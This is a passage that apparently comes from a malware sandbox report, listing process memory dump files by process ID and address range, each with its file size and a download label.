                                                                                                                                                                                                                                                                                                            • memory/2384-157-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/2384-153-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/2384-148-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/2384-147-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/2384-214-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/3048-416-0x0000000000400000-0x000000000056F000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              1.4MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-137-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-135-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-836-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-194-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-708-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-268-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-377-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-140-0x0000000001300000-0x0000000001301000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-136-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-139-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-615-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-429-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-467-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-138-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4444-305-0x0000000001300000-0x0000000001301000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4756-83-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              128KB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4868-114-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4868-112-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4868-113-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4868-111-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4868-110-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4868-109-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4868-115-0x0000000002AF0000-0x0000000002AF1000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/4868-116-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              6.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5268-406-0x0000000000400000-0x000000000056F000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              1.4MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5436-221-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5436-230-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5436-226-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5436-222-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5436-220-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5436-224-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5436-223-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              5.7MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5436-229-0x0000000000C90000-0x0000000000C91000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5528-213-0x00007FFDC1D20000-0x00007FFDC27E1000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              10.8MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5528-217-0x0000027C29830000-0x0000027C29840000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              64KB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5528-218-0x0000027C29830000-0x0000027C29840000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              64KB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5528-216-0x0000027C29830000-0x0000027C29840000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              64KB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5528-250-0x00007FFDC1D20000-0x00007FFDC27E1000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              10.8MB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5528-198-0x0000027C298B0000-0x0000027C298D2000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              136KB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5684-285-0x0000000000930000-0x0000000000A1C000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              944KB

                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                            • memory/5684-269-0x0000000000930000-0x0000000000A1C000-memory.dmp

                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              944KB

                                                                                                                                                                                                                                                                                                              Download